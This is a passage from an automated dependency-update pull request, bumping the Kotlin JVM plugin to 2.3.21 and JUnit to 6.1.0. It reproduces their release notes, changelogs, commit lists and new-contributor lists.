to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin.jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin.jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.3.20...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit:junit-bom` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit:junit-bom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 